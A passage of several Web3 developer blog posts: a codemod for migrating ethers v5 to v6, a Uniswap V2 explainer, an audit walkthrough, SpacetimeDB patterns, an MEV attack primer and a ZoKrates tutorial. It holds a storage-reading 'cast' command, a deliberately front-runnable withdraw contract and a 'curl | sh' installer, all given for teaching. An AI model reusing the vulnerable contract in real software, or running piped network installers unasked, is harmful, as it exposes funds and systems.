
Constant state updates

Heavy read queries

High RPC demand

Real-time verification needs

If memory, CPU, and storage aren’t aligned, you create:

Sync delays

Transaction lag

Inconsistent audit results

Inaccurate mempool monitoring

Slow contract analysis

That’s not a frontend problem.

That’s architecture debt.

Dedicated Infrastructure = Predictable Performance

When infrastructure is purpose-built:

Gas data updates instantly

Whale monitoring reflects real-time activity

Audit certificates register without delay

Node statistics reflect true network state

Blockchain explorers show accurate block data

Consistency builds trust.

And trust is infrastructure.

Simplicity Is Security

Complex multi-layer deployments often introduce:

Hidden failure points

Configuration drift

Attack surface expansion

Dependency fragility

A simplified, secure, automated node architecture reduces:

Operational risk

Latency variance

External dependencies

Infrastructure entropy

Security isn’t just about firewalls.

It’s about design.

Infrastructure Is the Competitive Edge

Ktzchen Web3 tools don’t just look functional.

They operate on infrastructure intentionally designed to:

Avoid congestion

Maintain full synchronization

Deliver consistent low-latency performance

Protect critical data integrity

Because in Web3, you’re not building apps.

You’re operating state machines.

And state machines demand precision.

Final Thought

Anyone can deploy a frontend.

Few operate real blockchain infrastructure.

Infrastructure is invisible — until it fails.

Ours doesn’t depend on hope.
It depends on architecture.

Visit the website here: https://ktzchenweb3.io/

I Automated 90% of The Ethers.js v5 v6 Migration using Codemods and AI

Tue, 21 Apr 2026 04:12:41 +0000

Ethers v6 dropped a breaking change on every project that touched BigNumber, utils, or providers — which is basically every DeFi frontend ever written. The migration guide listed over 40 breaking changes. Some were simple renames. Some required understanding whether a variable was a BigNumber before deciding what to do with it. Doing this by hand across 31 files is exactly the kind of work that makes engineers quit. I built a codemod pipeline to handle the mechanical ones automatically — and wrote AI prompts for the rest.

Why ethers v5 → v6 is painful

BigNumber is gone. In v5, every numeric value coming off a contract was a BigNumber instance with its own method API: .add(), .mul(), .toNumber(), .toHexString(). In v6, native JavaScript bigint takes over. That's a good change long-term, but it means every arithmetic expression, every comparison, every conversion in your codebase needs to change — and if you mix a bigint with a number by accident, you get a runtime TypeError with no static warning unless you're fully strict about types.

The entire ethers.utils namespace was flattened. In v5, utility functions lived under ethers.utils: ethers.utils.parseEther, ethers.utils.keccak256, ethers.utils.arrayify. In v6, they're all top-level on the ethers object. That's 15+ functions to find and rename across your codebase, and three of them got renamed too: arrayify became getBytes, hexZeroPad became zeroPadValue, and splitSignature became Signature.from().

Providers moved and Web3Provider is gone. The entire ethers.providers sub-namespace was dissolved. new ethers.providers.JsonRpcProvider(url) is now new ethers.JsonRpcProvider(url). new ethers.providers.Web3Provider(window.ethereum) — the line in basically every frontend DeFi app — is now new ethers.BrowserProvider(window.ethereum). StaticJsonRpcProvider was merged into JsonRpcProvider. If you have TypeScript type annotations using ethers.providers.X, those need to change too.

My approach: codemods + AI

The insight that made this tractable is recognizing that these changes fall into two completely different categories.

Mechanical renames have one right answer. ethers.utils.parseEther always becomes ethers.parseEther. new ethers.providers.Web3Provider(x) always becomes new ethers.BrowserProvider(x). These changes are safe to automate because the transformation is deterministic — given the same input, there's only one correct output. A codemod handles these at AST level: it parses the source into a syntax tree, finds the exact nodes to change, replaces them, and prints the result with formatting preserved. No regex, no string munging, no accidental replacements inside comments or string literals.

Semantic changes require context. When you see someVar.toNumber(), the right migration depends on where someVar came from. If it's the direct result of BigNumber.from(x), you can mechanically replace it with Number(BigInt(x)). But if it came from a contract call two scopes away, you need to understand the data flow, check whether the value could exceed Number.MAX_SAFE_INTEGER, and decide whether Number(), parseInt(), or staying with bigint is right. No static tool makes that call correctly 100% of the time. AI does, given enough context.

The combination is the only approach that scales. Codemods alone leave the semantic cases as silent bugs. AI alone on a 31-file codebase is slow and expensive. Together, you get deterministic correctness where it's possible and targeted AI review where it's necessary.

The 8 transforms I built

rename-utils — Lifts all 17 ethers.utils.* functions to the top-level namespace. Handles both import * as ethers and import { utils } styles, rewrites the import declaration, and covers the two structural changes.

// before
const amount = ethers.utils.parseEther('1.0');
const bytes  = ethers.utils.arrayify(hexString);

// after
const amount = ethers.parseEther('1.0');
const bytes  = ethers.getBytes(hexString);

bigNumber-to-bigint — Replaces BigNumber.from(x) with BigInt(x) and rewrites instance methods on statically-confirmed BigNumber variables to native operators. Uses a conservative two-phase approach: method rewrites run first to handle chains like BigNumber.from(x).toNumber() atomically, then standalone BigNumber.from() nodes are replaced.

// before
const fee = BigNumber.from('1000000');
const total = fee.add(BigNumber.from('500000'));

// after
const fee = BigInt('1000000');
const total = fee + BigInt('500000');

rename-providers — Renames all 7 provider classes and updates TypeScript type annotations. StaticJsonRpcProvider merges into JsonRpcProvider. Handles destructured import { providers } by injecting the specific v6 names that were actually used.

// before
const provider = new ethers.providers.Web3Provider(window.ethereum);
let p: ethers.providers.JsonRpcProvider;

// after
const provider = new ethers.BrowserProvider(window.ethereum);
let p: ethers.JsonRpcProvider;

gasPrice-to-feeData — Rewrites await provider.getGasPrice() by replacing the entire AwaitExpression node. This means the parentheses around the await are handled automatically by recast's printer based on operator precedence — I don't insert them manually.

// before
const gasPrice = await provider.getGasPrice();

// after
const gasPrice = (await provider.getFeeData()).gasPrice;

rename-constants — Replaces all ethers.constants.* accesses with their v6 equivalents. Named constants become top-level properties (AddressZero → ZeroAddress, MaxUint256 → MaxUint256). The four numeric constants become native bigint literals since BigNumber is gone.

// before
const zero = ethers.constants.AddressZero;
const max  = ethers.constants.MaxUint256;
const one  = ethers.constants.One;

// after
const zero = ethers.ZeroAddress;
const max  = ethers.MaxUint256;
const one  = 1n;

rename-contract-methods — Rewrites the four v5 contract method bucket patterns. In v5, less-common operations were accessed via intermediate buckets (callStatic, estimateGas, populateTransaction, functions). In v6 they moved to direct methods on the contract function itself.

// before
const result = await contract.callStatic.balanceOf(addr);
const gas    = await contract.estimateGas.transfer(to, amount);

// after
const result = await contract.balanceOf.staticCall(addr);
const gas    = await contract.transfer.estimateGas(to, amount);

rename-provider-methods — Handles three provider/transaction method changes. sendTransaction was renamed on the Provider side to broadcastTransaction (Signer's sendTransaction is unchanged — the transform adds a TODO so you can verify which one it is). parseTransaction and serializeTransaction became Transaction.from().

// before
await provider.sendTransaction(signedTx);
const tx = ethers.utils.parseTransaction(bytes);

// after (with TODO comment added for sendTransaction)
await provider.broadcastTransaction(signedTx);
const tx = ethers.Transaction.from(bytes);

update-imports — Runs last. Removes deprecated specifiers (utils, BigNumber, providers, constants) from import { ... } from 'ethers' declarations once the other transforms have finished introducing their replacements. If no specifiers remain, it removes the entire import statement.

// before
import { utils, BigNumber, providers, Contract } from 'ethers';

// after
import { Contract } from 'ethers';

Does it actually work on real code?

I ran the pipeline against Uniswap/v3-periphery, which is on ethers ^5.0.8 — a production-grade codebase I had no hand in writing.

Metric	Result
Files scanned	31
Files automatically migrated	28
Lines changed	502 lines (231 insertions, 271 deletions)
Files flagged for AI review	3
Automated coverage	90.3%
False positives	0

I verified every change with git diff before counting. The 0 false positives claim I validated separately: running the same pipeline against scaffold-eth-2 (already on ethers v6) produced 0 changes and 0 TODOs.

One honest limitation: the codemod only tracks direct imports from 'ethers'. If your project wraps ethers behind an internal utility library or re-exports it from an index file, the transforms won't fire. I decided false negatives (missed cases) are safer than false positives (broken code), so the conservative approach was the right call.

What the AI handles

The 3 flagged files — PairFlash.spec.ts, snapshotGasCost.ts, TickLens.spec.ts — all had the same pattern: BigNumber method calls on variables that came from contract return values or function parameters. The codemod added a comment to each one:

// TODO(ethers-codemod): verify this BigNumber method call and migrate manually
const result = returnedFromContract.toNumber();

For these, I used this prompt:

I'm migrating from ethers.js v5 to v6. In v6, BigNumber is replaced by native bigint.
The codemod flagged this code because it couldn't statically confirm the receiver is a
BigNumber. Please help me migrate it:

[paste the flagged code block]

Key rules:
- .toNumber() → Number(value) if the bigint fits safely in a JS number
- .toHexString() → value.toString(16)
- .add(x) → value + x  (both sides must be bigint — check that x is also bigint)
- Values returned from contract calls are already bigint in ethers v6, no conversion needed
- If a value could exceed Number.MAX_SAFE_INTEGER, keep it as bigint

Three files, one prompt each, done in under ten minutes.

How to use it right now

npx ts-node src/run.ts ./your-project

The runner finds all .ts, .tsx, .js, .jsx files, skips anything with no ethers imports, runs all 5 transforms in the correct order, and prints a summary with per-transform change counts and a list of any files that need AI review.

Source and full documentation: https://github.com/Chinyereee/ethers-v5-to-v6-codemod

Conclusion

28 files migrated automatically. 502 lines changed with zero false positives. 3 files handed off to AI with precise, targeted prompts. Total time to run: under 30 seconds.

This is what software maintenance should look like. Mechanical changes — the ones with one right answer — get automated at the AST level, fast and correct. Human judgment gets reserved for the semantic changes that actually need it: the data flow questions, the precision questions, the "what did the original author intend" questions that no static tool can answer reliably. The codemod tells you exactly which files those are and why. The AI handles them in minutes.

The weekend you were dreading becomes an afternoon. Most of it spent verifying a diff, not writing one.

A note on the test repo choice: I tried scaffold-eth-2 first. It was already on v6 — which was actually useful, it confirmed the codemod produces zero changes on modern code. But I needed a real v5 target. Uniswap v3-periphery is widely known, actively maintained, and represents how real protocols actually use ethers. It felt like the honest benchmark to report against.

x * y = k, and Other Things I Should've Learned Sooner

Tue, 14 Apr 2026 09:40:38 +0000

Getting into blockchain as a smart contract dev is a different experience than entering almost any other sector. Every field has its niche things, sure, but you mostly learn by understanding well-known patterns and implementing them. In smart contract development, though, you actually have to read other people's contracts. Not just snippets, the whole thing. That's how you grow, and the best way to do it is to go through some of the most battle-tested protocols out there.

And Uniswap is the obvious place to start. It's been one of the cornerstones of DeFi for as long as I can remember, long before I even got into the space. So every once in a while I'd think, alright, today's the day. Then I'd open the repos. Two of them, and a couple of utility repos too. Multiple contracts cross-referencing each other. An actual whitepaper with actual math in it (and with my just-above-average mathematics, I wasn't exactly jumping for joy. I still am not). The tab would go into hibernation, and I'd tell myself I'd pick it up properly once I got through whatever I was currently working on.

Procrastination, basically.

If you're in the same boat, whether for the same reasons or just because you actually have other things that keep getting in the way, this series is what I wish I had. I went through the entire thing, cross-referenced everything against the actual contracts, and wrote it down in plain English with math I could understand myself. The goal was to cover it completely, without cutting corners, but in a way where you could open the contracts side by side, follow along, and realize by the end that you'd essentially read the whole thing without it ever feeling like you were.

Turns out Uniswap is one of those things where the more you understand it, the simpler it gets. Not the other way around. The surface looks intimidating. Underneath it is one equation. Once that clicks, the rest assembles itself pretty quickly.

So. Let's get into it.

The thing that I kept pushing to "later"

Uniswap launched in November 2018. Quietly. No token, no VC fanfare, just a blog post and a GitHub repo. It really must have been different times altogether, feels medieval almost. By the time DeFi Summer hit in 2020 and the entire space lost its mind over yield farming, Uniswap was already the backbone of a significant chunk of on-chain trading volume. While Aave and Compound were building decentralised lending, and Curve was figuring out how to swap stablecoins without destroying the peg, Uniswap was the place where the long tail of tokens actually got traded. New project launching and wants liquidity on day one without negotiating with a centralised exchange? Uniswap. Protocol needed a price feed that couldn't easily be manipulated? Uniswap. It became infrastructure almost by accident.

The protocol has gone through four versions now, and the version history actually tells you something useful about what problems were being solved at each step.

V1 was the proof of concept - launched in November 2018, it worked, but every token could only trade against ETH. Want to swap USDC for DAI? That's USDC → ETH → DAI. Two hops, two fees, and you're briefly exposed to ETH's price in the middle of a transaction you intended to be completely stable. It proved the core idea was sound. It didn't quite prove the model was ready for everything people would want to throw at it.

V2 fixed that. Direct ERC-20 to ERC-20 pairs, better resistance to price manipulation, flash swaps, and a cleaner architecture overall. It shipped in May 2020 and became what most of the DeFi ecosystem actually built on top of. The forks alone tell the story: Sushiswap, Pancakeswap, Quickswap, and dozens of others across every EVM chain that launched afterward were essentially V2 with a different coat of paint. If you've used a DEX on any EVM chain other than Ethereum mainnet, there's a good chance it was running V2 logic underneath.

V3 arrived in May 2021 and introduced concentrated liquidity — LPs can now choose specific price ranges to deploy their capital into rather than spreading it uniformly across the entire curve. More capital-efficient, but meaningfully more complex to reason about. We’ll cover this too. Sometime. Soon. Hopefully.

V4 launched in January 2025 and is a different kind of upgrade altogether — it turns Uniswap into a developer platform. The headline feature is hooks: modular contracts that let developers inject custom logic into pool creation, swaps, and liquidity management. On top of that, a singleton architecture consolidates all pools into one contract, making pool creation up to 99.99% cheaper than before. It's powerful, and it's going to be interesting to watch what gets built on top of it. Yeah, considering me, covering this one “soon” might be a stretch.

V2 is still the right foundation to understand first. V3 and V4 both build on concepts that V2 establishes i.e. concentrated liquidity, which makes no sense without first understanding uniform liquidity, and hooks customize a swap flow you need to already understand. You can reason through V1 in about five minutes once you have V2. Everything else follows.

So V2 is where this series lives.

How does it actually work?

On a centralised exchange, there's an order book, which is a live list of people willing to buy at various prices and people willing to sell at various prices, with a matching engine pairing them up in real time. The price at any moment is just wherever the last match landed. It works because there are enough participants that someone is almost always willing to take the other side of your trade.

Uniswap has none of that. No order book, no matching engine, no counterparty. Just a smart contract sitting on-chain with two tokens locked inside it, ready to trade with you any time you want. You want USDC, send it ETH. It'll give you USDC back. The question that actually matters is: how does it decide how much?

Think about it from the pool's perspective for a second. It holds some amount of ETH and some amount of USDC, and it wants to behave like a reasonable market. It has no external price feed. It has no idea what Binance is doing right now. All it has is the ratio of what it holds. And that ratio is actually enough, because the ratio is the price. If the pool holds 100 ETH and 200,000 USDC, the implied price of ETH is 200,000 / 100 = 2,000 USDC. Simple division.

The problem is keeping that relationship stable in a sensible way as trades happen. If you just let people take whatever they want, the pool drains. So the pool needs a rule. And the rule it uses is this: whatever you do to this pool, the product of the two token balances cannot decrease.

If the pool holds x of one token and y of the other, then at all times:

x · y = k

That's the rule. k stays constant. You want to take some ETH out? Fine, but you have to put in enough USDC that the product of the new balances still equals k. The pool doesn't care what the "right" price is — it just enforces that one equation, and the price falls out automatically.

Work through a concrete example. Pool holds 100 ETH and 200,000 USDC. k = 20,000,000. You want to buy 10 ETH. After giving you 10 ETH, the pool has 90 ETH. To keep the product at 20,000,000, it now needs 20,000,000 / 90 ≈ 222,222 USDC. It had 200,000, so you owe it 22,222 USDC for those 10 ETH.

At the pool's implied price before the trade, 10 ETH should have cost 20,000 USDC. You paid 22,222. The extra 2,222 is what buying 10% of the pool's ETH supply in a single trade does to the math, and it points to something important that we'll come back to in a moment.

Here’s an image I found that visualises this nicely. The quantities of token A and B act as x and y, and every valid state of the pool lies somewhere on this curve defined by k. Trades don’t change the curve — they just move the pool along it.

This is the Constant Product Formula. The name, at this point, is fairly self-explanatory. The product stays constant. k doesn't move. And the system built on top of this - a smart contract that always quotes a price, always accepts a trade, at any size, at any time, with no humans or order books involved, is an Automated Market Maker. It makes markets. Automatically.

Whose tokens are in there, and why

Uniswap doesn't own anything. Every token in every pool was put there by someone who wanted to earn a return on their capital, and those people are called liquidity providers, or LPs.

The word liquidity here means roughly the same thing it means in traditional finance, i.e. the availability of an asset for exchange without significantly moving its price. A pool with $10 million worth of tokens in it has a lot of liquidity. A pool with $50,000 in it doesn't. When you deposit into a pool, you're increasing its liquidity, which is where the term comes from.

To deposit, you have to provide both tokens, in proportion to the current ratio of the pool. You can't just throw in ETH and call it done. You need the matching USDC too. This is to preserve the existing ratio, because depositing in a different ratio would shift the pool's implied price, and that's not something the pool will just let happen without the math demanding compensation for it. In return for depositing, the pool mints LP tokens and hands them to you. These represent your ownership stake. Deposit 5% of the total pool value, you get tokens representing 5% of the supply. They're regular ERC-20 tokens which are fully transferable, and your ticket to getting your deposit back whenever you want.

Every swap that goes through the pool charges a 0.3% fee. That fee doesn't get sent anywhere; it just stays inside the pool, incrementally growing the balances above what k alone would predict. Since LP tokens represent a share of everything in the pool, and the pool is quietly getting larger with each swap, those LP tokens are gradually becoming worth more. When you eventually do want out, a process the contracts call burning, you hand back your LP tokens and receive your proportional share of the current pool: original deposit, plus your cut of every fee collected since you put the money in.

The total value of all tokens across all pools in the protocol is what people refer to as TVL — Total Value Locked. It's the number that gets cited when people talk about how large a DeFi protocol is, and it matters practically because it determines how smoothly the pool handles large trades without moving the price too much.

What actually happens to the price when you trade

Back to that example. The pool had 100 ETH and 200,000 USDC, and you bought 10 ETH for 22,222 USDC instead of the "expected" 20,000. That gap exists because of something called price impact, and understanding it is probably the most useful intuition to take away from this entire post.

The spot price at any moment is just y / x — the ratio of the two balances. Before your trade: 200,000 / 100 = 2,000 USDC per ETH. After your trade: 222,222 / 90 ≈ 2,469 USDC per ETH. Your single trade moved the price by about 23%.

That's an extreme example. Buying 10% of the pool's ETH supply in one go will always hurt you, but the shape of the relationship is what matters. Look at the formula: spot price is y / x. When you buy ETH, x (ETH in the pool) shrinks and y (USDC in the pool) grows. Smaller denominator, bigger numerator, price goes up. When you sell ETH, the opposite happens. The pool is always drifting toward whatever ratio reflects the last trade, which is what keeps it loosely aligned with external market prices. If the pool's implied price drifts too far from, say, Binance's price, arbitrageurs come in and trade it back into alignment, profiting from the gap and correcting the pool's ratio in the process.

The gap between the price you saw when you submitted your transaction and the price you actually executed at is called slippage. It comes from two sources: your own trade moving the pool (price impact), and other transactions executing before yours and moving it first. Larger pools suffer less from both. A 10 ETH trade against a pool with 10,000 ETH barely registers. Against a pool with 100 ETH, it's significant. This is why liquidity depth matters, and why a newly launched token with a thin pool on Uniswap can swing 20% on a single moderate trade.

There's one more property the formula has that's worth appreciating: the pool can never be fully drained. To get all the ETH out you'd need to send in an infinite amount of USDC, since as x approaches zero, the price climbs toward infinity. The curve is a hyperbola, and the pool always lives somewhere on it. Every trade just moves you to a different point.

Uniswap didn't invent AMMs but it defined the template

Once V2 proved the constant product model worked at scale, a reasonable question was: what if the formula were different?

Curve Finance, which had launched around the same time, looked at the stablecoin problem and noticed something. If you're swapping USDC for USDT, two assets that are both supposed to be worth $1, the constant product formula still moves the price noticeably on large trades, even though economically, the price essentially shouldn't move at all. Curve replaced the formula with a hybrid that behaves like constant product near the edges of the curve but much more like a flat line near the peg, where stablecoin trades actually happen. The result is dramatically tighter pricing for like-valued assets. Curve became the dominant venue for stablecoin and liquid staking swaps for exactly this reason, and still is.

Balancer took a different angle entirely. Instead of two-token pools with equal weighting, it generalized the model to support up to eight tokens with arbitrary weight ratios. A pool could hold 80% ETH and 20% USDC, and the AMM mechanics would keep it at that ratio automatically as people traded against it. Effectively a self-rebalancing index fund that earns swap fees. Don’t worry if some of these terms feel a bit unknown, by the end of the series, you’ll be flowing through these like a proper crypto bro.

Both of these, and the dozens of AMM protocols that came after, are built on the same underlying insight Uniswap established: encode your pricing rule as a mathematical invariant, let the market trade against it, and price discovery happens by itself. The specific formula is a design choice. What Uniswap figured out first was the architecture. Four versions and nearly $3 trillion in cumulative trading volume later, that original insight is still at the centre of all of it.

The four things you can actually do

Everything on Uniswap V2 is one of four operations, and this series is going to go deep on each one in the posts that follow.

Swapping is the one everyone has used — send in one token, get back another, rate determined by the constant product formula, 0.3% fee taken from your input.

Adding liquidity, which the contracts call minting — deposit both tokens in the right ratio, receive LP tokens representing your ownership stake, start earning fees.

Removing liquidity, which the contracts call burning — hand back your LP tokens, get your proportional share of the current pool returned to you, fees and all.

And flash loans — borrow any amount of tokens from the pool with zero collateral, do whatever you want with them within the same transaction, return them before the transaction closes. No approval process. No credit check. Nothing. If the money isn't back by the end of the transaction, the whole thing reverts as if it never happened. The EVM's atomicity is the security model, and the whole thing was designed this way deliberately. It's used for things like arbitrage across protocols, liquidating underwater positions in lending protocols, and swapping collateral types without needing upfront capital. It's one of those things that sounds like it shouldn't work until you think about it for a minute and realize it couldn't possibly not work.

Each of those four flows has a lot going on underneath — the actual contracts, the exact math at each step, and a handful of design decisions that look strange at first and make complete sense once you trace through them. That's what the upcoming posts are for.

If the constant product formula is starting to feel intuitive rather than just symbolically familiar, you're in exactly the right place to continue.

Next up: Before the Swaps: A Map of Uniswap V2

How To Audit A Smart Contract

Wed, 08 Apr 2026 08:57:34 +0000

I was going through the Updraft Smart Contract Security course, and I realized I had been doing some things the wrong way.
Here are a couple of things I started doing differently.

I am basing this article on the PasswordStore repo here: 3-passwordstore-audit.
Definitely check it out. It is only about 20 lines of contract code, and that is where nSLOC/CLOC comes in. It tells you how much actual code is in the codebase.

Step 1: Trace Trust Boundaries

Ask these questions:

Who can write the value?
Who can read the value?
What does the constructor assume?
What does the contract pretend is hidden?
What breaks if the value is public?

In PasswordStore.sol, the owner is set in the constructor, and the setter check msg.sender.
That gives the shape of the access control.

function setPassword(string memory newPassword) external {
    if (msg.sender != s_owner) {
        revert PasswordStore__NotOwner();
    }
    s_password = newPassword;
}

The guard is there. The function is protected. So far so good.

Step 2: What the repo shows

The repo points to two separate issues:

Issue 1: Missing access control on getPassword.
The getter has no msg.sender check, so anyone can call it and retrieve the password directly through the ABI.
Issue 2: The password is exposed in storage regardless.
Here is why.

Every state variable in a Solidity contract occupies a storage slot. s_password sits at slot 1. The private keyword only prevents other contracts from reading it through the ABI. It does nothing to stop an off-chain read.

# the 'private' variable
string private s_password;

You can retrieve the saved password with a single Foundry cast command:

cast parse-bytes32-string $(cast storage  <CONTRACT_ADDRESS> 1)

We fetched the raw bytes at storage slot 1 and decoded it to get the plaintext password.
This is not a bug in Solidity. It is how blockchains work. Every transaction, every storage write, is public by design. Marking a variable private is a visibility modifier for the compiler, not a confidentiality guarantee for your users.

The lesson: you can protect a function and still leak the data. Access control and data confidentiality are two different problems that need two different solutions.

Step 3: Simple audit flow

Small contracts are not easier to audit, they are easier to audit shallowly. For any contract under 100 nSLOC, I now run four checks before calling it done:
1. Read the code and map the intended trust boundary.
What is the contract supposed to do, and who is supposed to be able to do it? Write it down in plain English before touching the code.
2. Check who can actually call each function.
Does every sensitive function have a guard? Does that guard cover all entry points, including any inherited or fallback functions?
3. Check whether storage or calldata exposes the value anyway.
A private variable is not private on-chain. Ask: if someone ran cast storage against every slot, what would they find? Think about variables that leak information they are not supposed to.
4. Write a test for the failure mode.
For the storage issue, a simple Foundry test proves it:

function test_anyone_can_read_password() public {
    vm.startPrank(owner);
    passwordStore.setPassword("supersecret");
    vm.stopPrank();

    // Read slot 1 directly, bypassing the getter entirely
    bytes32 storedPassword = vm.load(
        address(passwordStore),
        bytes32(uint256(1))
    );

    assertEq(
        string(abi.encodePacked(storedPassword)),
        "supersecret"
    );
}

If the test passes, the contract has a confidentiality problem regardless of what the getter says.

Takeaway

Contracts with few functions should not trick you into shallow reviews.

The real question is not, “Does the function have a guard?”

“Does the contract actually meet the expected business logic and keep the data safe?”

How would you write this contract differently?

SpacetimeDB and Reducers: Architecture and Patterns

Tue, 07 Oct 2025 21:33:33 +0000

SpacetimeDB is a transactional, in-memory relational database that lets you implement database-backed state machines via Rust reducers and table schemas. All data is stored in memory and persisted via an append-only Write-Ahead Log (WAL) called the Commitlog. Reducers are atomic, deterministic functions that execute inside the database, providing ACID guarantees.

In STK2ETH we use SpacetimeDB to store USSD menus, sessions, swaps, and audit logs.

Tables and Schema

Tables are declared using Rust structs annotated with the #[table(name = <table>)] macro, which generates typed accessors. This provides compile-time guarantees about columns and helps reduce human errors in row operations.

Example:

#[table(name = ussd_session, public)]
#[derive(Clone, Debug)]
pub struct UssdSession {
    #[primary_key]
    session_id: String,
    // ... other fields ...
}

Important tables in STK2ETH:

ussd_menu, ussd_screen, menu_item: represent static menu structure loaded from a file.
ussd_session: session rows for active interactions.
swap: holds pending/executed swaps and transaction metadata.
eth_audit_logs: immutable audit trail for regulatory needs.

Reducer Semantics

Reducers are Rust functions annotated with #[reducer] that take a &ReducerContext as the first argument. They are applied deterministically and atomically, and can only return () or Result<(), E> where E: Display. This ensures state changes can be serialized consistently.

Example:

#[reducer]
pub fn set_name(ctx: &ReducerContext, name: String) -> Result<(), String> {
    // reducer logic
}

Guidelines:

Keep business logic testable: move pure logic (parsing, validation) into separate functions. Use reducers only for side-effects and DB writes.
Use stable string error codes when returning Err(String) from reducers to allow the UI to map errors to screens.
Avoid long-running synchronous operations in reducers. Use a table (e.g., ussd_request) to enqueue work for out-of-band workers when you need to call external services.

Deterministic Design and Side-Effect Management

Reducers must be deterministic and cannot perform direct network or filesystem I/O. External operations should be handled by enqueuing requests in a table, and a separate worker can process those requests and write results back to the database.

Pattern:

Insert a ussd_request row describing the work.
An off-chain worker reads the request, performs the external call, and inserts result rows for reducers to consume.

Testing Reducers

Unit test pure functions directly.
Reducer tests should be small and deterministic. Use the SpacetimeDB test harness for reducers that require database access (when available).

Example Patterns

Validation: Pure function validate_amount_value + reducer wrapper validate_amount that reads config, then returns Ok(()) or Err("amount_too_low").
Enqueueing: Reducers insert ussd_request rows and return immediately.

Observability

Reducers should log important events (e.g., session created, swap created, request enqueued) using SpacetimeDB’s logging system. This helps with debugging and auditing state transitions.

SpacetimeDB offers a deterministic and transactional pattern for implementing state machines. Treat reducers as the boundary for state changes, keep logic testable, enqueue external interactions for off-chain workers, and use stable error codes for UI mapping.

Part-1: Intro to MEV(Maximal Extractable value) Attack

Thu, 07 Aug 2025 17:24:51 +0000

MEV attacks happen when someone (usually a miner, validator, or bot) manipulates the order of pending transactions in Ethereum (EVM chains) to make extra money
This attaclk is done by front-running, back-running, sandwich or liquidation attacks
mempool -> this is a public memory pool, where all TNX are visible
bots and attackers scans mempool for higher and profitable trades

Note: This is just an intro for MEV attack with minimal code example. Part-2 will contain the code example for each attack type in MEV

How this attacks work?

valid user submits TNX for some operation -> attacker/bots scan the mempool for profitable opportunities or for high trades
before user submit and completes TNX -> attacker/bots manipulates the block/price/protocol to earn more profit

Core concepts of MEV

it is easier to take advantage of MEV opportunities on ethereum than bitcoin
Due to Ethereum account model as compared to Bitcoin UTXO model
arbitrage trading
liquidation
sandwiching

Types of MEV Attacks

Front-running attack:

An attacker/bot scans mempool for higher trading price and sees user TNX waiting to be processed and quickly submits their own -> just ahead of yours

// protocol will submit TNX to select a winner ->  attacker/bot sees TNX in mempool -> realizes they are not winner
// before protocol completes TNX and select a winner  ->   attacker refunds all token from protocol
// winner ends up getting lower winning price  -> attacker/bot gets their token
function selectWinner() external;
function refund(uint256 amount) external;

user submit TNX -> attacker/bot scans TNX in mempool -> attacker submit their own TNX before user can submit their TNX

Sandwich attack:

An attacker places one transaction just before user and another just after user -> sandwiching your trade.

// attacker/bot TNX  ->>>  user TNX  ->>>   attacker/bot TNX
// user takes flashloan to buy token  ->  attacker/bot buys token before user  ->  increases the token price
// user buys token at higher price ->  after users TNX  ->  attacker/bot sells token at higher price
function flashloan(to, token, amount) external;
function Tswap(token, amount) external;

Attacker buys before you and sells after you ->>> earning profit and users ends up paying higher price

Arbitrage MEV Attack:

An attacker exploits price differences for a token across different DEX's at the same time

// tokenA costs -> 100 USDC on uniswap
// tokenA costs -> 150 USDC on sushi at same time
// attacker/bots continuously scans mempool for higher trades and price changes
function tokenA_pool_uni(amount) external;
function tokenA_pool_sushi(amount) external;

attacker/bot always looks for higher and profitable trades in mempool to gain profit

Liquidation MEV Attack:

On DeFi lending protocols, if someone’s loan goes under-collateralize (not enough assets to back the loan, e.g., in a price drop), anyone can repay their debt and claim their collateral—with a profit bonus.
MEV bots race to be first and claim the extra bonus

// A loan on Aave or Compound is about to be liquidated. 
// Bots spot the chance, quickly repay the debt, seize the collateral (often at a discount), 
// and resell it for a reward

JIT (Just-In-Time) MEV Attack:

Simple contract example for MEV Attack

the contract is vulnerable to MEV attack
attacker/bot can scan mempool for TNX and password ->>> withdraws funds before user could
To run the code on remix checkout the below link(Thanks to CyfrinUpdraft):
Run code on remix

contract FrontRan {
    error BadWithdraw();

    bytes32 public s_secretHash;

    event success();
    event fail();

    constructor(bytes32 secretHash) payable {
        s_secretHash = secretHash;
    }

    // userA -> call withdraw() with valid password to withdraw 100ETH
    // userB -> user MEV Bot frontrun the TNX, uses the valid password from userA's TNX and calls the withdraw()
    // userB -> withdraws 100ETH before userA withdraws funds
    function withdraw(string memory password) external payable {
        if (keccak256(abi.encodePacked(password)) == s_secretHash) {
            (bool sent,) = msg.sender.call{value: address(this).balance}("");
            if (!sent) {
                revert BadWithdraw();
            }
            emit success();
        } else {
            emit fail();
        }
    }
    function balance() external view returns (uint256) {
        return address(this).balance;
    }
}

Mitigation

Proper slippage protection
use of private RPC url and Private transactions (Flashbots, MEV-resistant chains).
And, base on protocol implement the protection

Resources

A Clear and Working Example of Zero-Knowledge Proofs in a Real Web3 Application

Wed, 30 Jul 2025 11:25:49 +0000

Zero-knowledge proofs (ZKPs) allow someone to prove they know or did something — without revealing what it was. A specific type of ZKP called a zk-SNARK (Zero-Knowledge Succinct Non-Interactive Argument of Knowledge) enables compact and fast proofs that can be verified on-chain.

Writing ZK circuits manually can be complex, but ZoKrates makes it much easier. It provides a high-level language and tooling to compile circuits, generate proofs, and export Solidity verifiers.

In this tutorial, we’ll use ZoKrates to build a simple private voting example:

️ A user will commit to their vote (1 or 2) using a secret nonce and the Poseidon hash function.
Later, they’ll prove (without revealing their vote or nonce) that:

The vote was valid (1 or 2), and
It matches a previously published commitment.

We’ll generate the proof entirely in JavaScript and verify it on-chain — all using a local setup with scaffold-eth-2, a powerful framework for building Ethereum dApps.

⚠️ This is a minimal example to help you understand the flow. It’s not a full voting system — just a small step into the zk world.

️ Step 0: Install ZoKrates

On Linux/macOS, install with:

curl -LSfs get.zokrat.es | sh

⚠️ On Windows, make sure to install and run inside WSL (Windows Subsystem for Linux), or you’ll face compatibility issues.

Check it's working:

zokrates --help

⚙️ Step 1: Bootstrap Your dApp

Use scaffold-eth-2 — the fastest way to start building full-stack dApps.

Initialize the project:

npx create-eth@latest # we are using foundry, but hardhat works too
cd my-zk-vote  # open the project's directory
yarn           # install all dependencies

Add ZK dependencies on NextJS package:

cd packages\nextjs # go to nextjs directory
yarn add circomlibjs zokrates-js # add zk frontend dependencies

Start development servers:

cd ..\..       # go back to the root directory
yarn chain     # start local blockchain
yarn deploy    # deploy contracts
yarn start     # launch frontend

Step 2: Write the Circuit

You can see the circuit as a way to validate secret information. Each information marked as private will remain secret and can be validated against other public arguments.

Create a file at packages/foundry/contracts/vote.zok:

import "hashes/poseidon/poseidon.zok";

def main(private field vote, private field nonce, field commitment) -> bool {
